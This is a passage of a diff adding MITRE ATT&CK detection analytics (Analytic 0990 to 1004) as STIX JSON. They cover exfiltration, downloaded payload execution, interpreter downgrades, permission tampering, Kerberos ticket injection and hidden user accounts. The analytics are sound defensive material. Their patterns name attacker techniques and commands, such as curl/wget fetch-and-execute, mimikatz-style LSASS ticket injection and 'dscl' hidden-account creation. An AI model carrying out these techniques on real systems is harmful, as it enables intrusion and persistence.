"mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0348#AN0990", + "external_id": "AN0990" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0990", + "description": "Detects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "eventMessage = 'open', 'sendto', 'connect'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessAncestry", + "description": "Enables defenders to tune legitimate vs. suspicious lineage (e.g., launchd \u2192 curl is uncommon)." + }, + { + "field": "ProtocolList", + "description": "Focus detection on unusual protocols (e.g., IRC, FTP, DNS over HTTPS)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f8998263-e55f-428f-b8d0-46d9e31277d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0348#AN0991", + "external_id": "AN0991" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0991", + "description": "Detects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vpxa", + "channel": "connection attempts and data transmission logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "network stack module logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:syslog", + "channel": "guest OS outbound transfer logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GuestOSAllowList", + "description": "Limit detection to sensitive or externally-exposed VMs handling confidential data." + }, + { + "field": "TransferSizeThresholdMB", + "description": "Minimum outbound transfer size before flagging anomalous C2-based exfiltration." + }, + { + "field": "ProtocolAllowList", + "description": "Define expected protocols for outbound data (e.g., disallow FTP/SCP over high ports)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8384d942-2f83-4968-9959-fd2f55afb311", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0349#AN0992", + "external_id": "AN0992" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0992", + "description": "Detect suspicious file creations and process executions triggered by browser activity (e.g., injected payloads written to %AppData% or Temp directories, then executed). Correlate network anomalies with subsequent local process creation or script execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Unexpected script or binary content returned in HTTP response body" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredExtensions", + "description": "File extensions to flag (exe, dll, js, vbs, sh, etc.)." + }, + { + "field": "SuspiciousParentProcesses", + "description": "Browser processes (chrome.exe, firefox.exe, edge.exe, etc.) monitored as possible parents for malicious activity." + }, + { + "field": "RedirectList", + "description": "List of suspicious domains or URLs used for malicious redirects." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e8af32c-5246-43e1-a7d9-c4d263c7b135", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0349#AN0993", + "external_id": "AN0993" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0993", + "description": "Detect curl/wget commands saving executable/script payloads to /tmp or /var/tmp followed by execution. Monitor packet captures or IDS/IPS alerts for injected responses or mismatched content types.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "File creation of suspicious scripts/binaries in temporary directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Injected content responses with unexpected script/malware signatures" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TempDirectories", + "description": "Directories such as /tmp and /var/tmp where injected files are often written." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ba6a9282-30e0-491c-90a7-35bf4ad25ba3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0349#AN0994", + "external_id": "AN0994" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0994", + "description": "Monitor unified logs for processes spawned from Safari or other browsers that immediately load scripts or executables. Detect file drops in ~/Library/Caches or ~/Downloads that execute shortly after being written.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Child processes of Safari, Chrome, or Firefox executing scripting interpreters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "File creation of unsigned binaries/scripts in user cache or download directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "macOS-specific directories where malicious payloads may be written." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e61d2099-1517-4bf4-b2e6-6e61cdf94be3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0350#AN0995", + "external_id": "AN0995" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0995", + "description": "Detection of processes launching downgraded PowerShell versions (e.g., v2) or other legacy binaries that lack logging or security features. Correlates command-line arguments, process metadata, and version fields. Monitors registry changes to Defender or HVCI keys that could indicate intentional downgrades.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedInterpreterVersions", + "description": "Defines which versions of interpreters like PowerShell are permitted in the environment." + }, + { + "field": "RegistryDefenderKeys", + "description": "Specific registry paths for monitoring Defender/HVCI configurations that may vary by Windows version." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--54eb86ed-2a72-41a8-b060-2750c2fee758", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0350#AN0996", + "external_id": "AN0996" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0996", + "description": "Monitors execution of older or legacy interpreters (e.g., python2, bash with restricted history logging), downgrade of TLS/SSL configurations, or forced fallback to unencrypted protocols. Detects suspicious reconfiguration of kernel modules or boot loaders to reduce integrity controls.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of downgraded interpreters such as python2 or forced fallback commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "linux:syslog", + "channel": "Kernel or daemon warnings of downgraded TLS or cryptographic settings" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedCryptoProtocols", + "description": "List of TLS/SSL versions approved for use; alerts triggered if older protocols (e.g., TLS 1.0) are used." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--08a391a7-1ce6-4f11-b060-fca06ef03328", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0350#AN0997", + "external_id": "AN0997" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0997", + "description": "Detection of execution of legacy scripting runtimes (e.g., older versions of Python, Bash, or PowerShell Core) lacking auditing. Monitoring for changes to EFI or system boot files indicative of downgrade-based persistence or bypass of integrity features.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of older or non-standard interpreters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "Modifications or writes to EFI system partition for downgraded bootloaders" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedInterpreterVersions", + "description": "Defines the minimal version of interpreters expected; older versions flagged as downgrade attempts." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--971ddd36-1ecd-46bf-b94c-22e8f05c1462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0351#AN0998", + "external_id": "AN0998" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0998", + "description": "Linux permission escalation behavioral chain: (1) Process creation of permission modification utilities (chmod, chown, chgrp, setfacl) with suspicious parameters indicating privilege escalation intent, (2) System call analysis revealing direct file metadata manipulation (chmod, fchmod, chown, fchown syscalls), (3) Extended attribute and ACL modifications targeting critical system paths, (4) Temporal correlation with subsequent file access or process execution from modified locations, (5) Anomalous permission patterns deviating from system baselines", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "process execution events for permission modification utilities with command-line analysis" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousPermissionValues", + "description": "Octal permission values indicating potential malicious intent - customize based on organizational security policy (default: 777, 755, 4755, 2755, 1755 for sticky/setuid/setgid)" + }, + { + "field": "CriticalSystemPaths", + "description": "Linux filesystem paths requiring enhanced permission change monitoring - adapt to environment-specific critical directories (/etc, /usr/bin, /usr/sbin, /var, /opt, /root, /boot)" + }, + { + "field": "AuthorizedSystemAdministrators", + "description": "User accounts and service accounts authorized for system-level permission modifications - maintain current list of legitimate administrators" + }, + { + "field": "TemporalCorrelationWindow", + "description": "Time window for correlating permission changes with subsequent file access or process execution - adjust based on system performance (default: 300 seconds)" + }, + { + "field": "RecursiveOperationThreshold", + "description": "Maximum depth or file count for recursive permission operations before triggering anomaly detection (-R flag monitoring)" + }, + { + "field": "ACLComplexityBaseline", + "description": "Baseline complexity metrics for setfacl operations to detect anomalous extended ACL configurations" + }, + { + "field": "FileAccessFrequencyBaseline", + "description": "Statistical baseline for normal file access patterns post-permission modification to detect privilege abuse" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2d21fb1f-f9c3-4e72-a6dd-3d7872be3294", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0351#AN0999", + "external_id": "AN0999" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0999", + "description": "macOS permission and attribute manipulation behavioral chain: (1) Process execution of permission utilities (chmod, chown, chgrp) or macOS-specific tools (chflags) with suspicious parameters, (2) System Integrity Protection (SIP) bypass attempts through permission modifications, (3) File flags manipulation (uchg, schg, hidden) for evasion or persistence, (4) Extended attribute (xattr) modifications affecting security metadata, (5) Unified log correlation with file system events and subsequent access patterns, (6) Gatekeeper and code signing bypass through permission/attribute manipulation", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with parameter analysis and target path examination" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsevents", + "channel": "file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for file permission, ownership, and attribute modifications with user context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SIPProtectedPaths", + "description": "macOS system paths protected by SIP that should never have permission modifications - maintain current list based on macOS version (/System, /usr, /bin, /sbin)" + }, + { + "field": "SuspiciousFileFlags", + "description": "chflags parameter combinations indicating potential evasive behavior - customize based on security requirements (uchg, schg, hidden, archived)" + }, + { + "field": "CriticalExtendedAttributes", + "description": "Extended attributes requiring monitoring for unauthorized removal or modification (com.apple.quarantine, com.apple.metadata, com.apple.FinderInfo)" + }, + { + "field": "GatekeeperBypassIndicators", + "description": "Patterns in permission/attribute changes that may indicate Gatekeeper bypass attempts" + }, + { + "field": "ApplicationBundleMonitoring", + "description": "Scope of .app directory monitoring for internal permission modifications indicating bundle tampering" + }, + { + "field": "UnifiedLogRetentionPeriod", + "description": "Log retention period for correlating permission changes with subsequent access patterns - balance storage with detection capability" + }, + { + "field": "FSEventsFilteringThreshold", + "description": "File system event filtering threshold to manage high-volume environments while maintaining detection coverage" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--54ffc701-eb6c-4e3e-8615-0c6f8b327a34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0352#AN1000", + "external_id": "AN1000" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1000", + "description": "Detects unauthorized Kerberos ticket injection by correlating service ticket (TGS - 4769) requests with absent corresponding account logons (4624) and prior Ticket Granting Ticket (TGT - 4768) activity. Highlights anomalous service ticket generation chains involving unexpected users, hosts, or times, and suspicious injection of tickets via mimikatz-like tooling into LSASS memory. Behavior also includes network lateral movement using Kerberos authentication absent expected interactive logon patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Security", + "channel": "EventCode=4768" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the correlation window between TGT request (4768) and TGS request (4769)" + }, + { + "field": "HostContextScope", + "description": "Adjusts the host scoping for correlation of authentication chains and ticket injection" + }, + { + "field": "LSASSAccessAnomalyThreshold", + "description": "Allows tuning of alerts for ticket injection attempts via LSASS memory access" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6039c777-6a85-4df4-86b9-40d95796046e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0353#AN1001", + "external_id": "AN1001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1001", + "description": "Registry modifications to HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList setting user visibility to 0, or creation of user accounts not shown on login screen. Defender view: correlation of account creation with registry edits that mark users hidden.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "WinEventLog:Security", + "channel": "EventCode=4720" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccountScope", + "description": "Restrict monitoring to privileged or unexpected accounts." + }, + { + "field": "BaselineHiddenUsers", + "description": "Whitelist accounts that are intentionally hidden by administrators." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--397a553d-c08d-497e-8fb0-9526f5a205bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0353#AN1002", + "external_id": "AN1002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1002", + "description": "Use of gsettings or direct Display Manager modifications to hide users from greeter login screen. Defender view: anomalous command execution modifying org.gnome.login-screen or other greeter configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "Execution of gsettings set org.gnome.login-screen disable-user-list true" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:FILE", + "channel": "Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DisplayManagerScope", + "description": "Specify which Display Managers are in use to minimize noise." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cabc275f-5097-4d2e-aabe-b49a31ba87b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0353#AN1003", + "external_id": "AN1003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1003", + "description": "User creation or modification via dscl with IsHidden=1, UID<500, or plist edits to com.apple.loginwindow Hide500Users flag. Defender view: correlation of hidden account attributes with login screen exclusion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of dscl . create with IsHidden=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of /Library/Preferences/com.apple.loginwindow plist" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "macos:unifiedlog", + "channel": "Creation of user account with UID <500" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UIDThreshold", + "description": "Tune detection based on acceptable UID ranges for hidden/system accounts." + }, + { + "field": "PlistScope", + "description": "Restrict plist monitoring to com.apple.loginwindow to reduce false positives." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63583dcb-dbdc-4b9d-a261-3129de12327e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0354#AN1004", + "external_id": "AN1004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1004", + "description": "Unusual or unauthorized external remote access attempts (e.g., RDP, VPN, Citrix) \u2192 repeated failed logins followed by a successful session from uncommon geolocations or outside business hours \u2192 subsequent internal lateral movement or data exfiltration activities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 